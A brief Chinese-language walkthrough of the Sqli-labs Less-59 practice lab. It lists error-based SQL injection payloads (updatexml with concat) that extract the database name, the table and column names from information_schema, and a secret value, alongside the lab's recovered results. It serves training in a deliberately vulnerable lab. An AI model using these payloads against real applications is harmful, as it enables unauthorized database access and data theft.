Sqli labs less 59

1.常规方法测试判断注入点

 

 2.爆数据库 ?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 

 3.查看当前库下的所有表格：ECII73SA8M

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

 

 4.查看表下的所有字段：~id,sessid,secret_W7B4,tryy~

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ECII73SA8M'),0x7e),1)--+

 

 5.查看secret_W7B4字段下的值 tbpRhjMv1T9GLoFBMNFbcAR8

 ?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_W7B4) from challenges.ECII73SA8M),0x7e),1)--+

 

 6.成功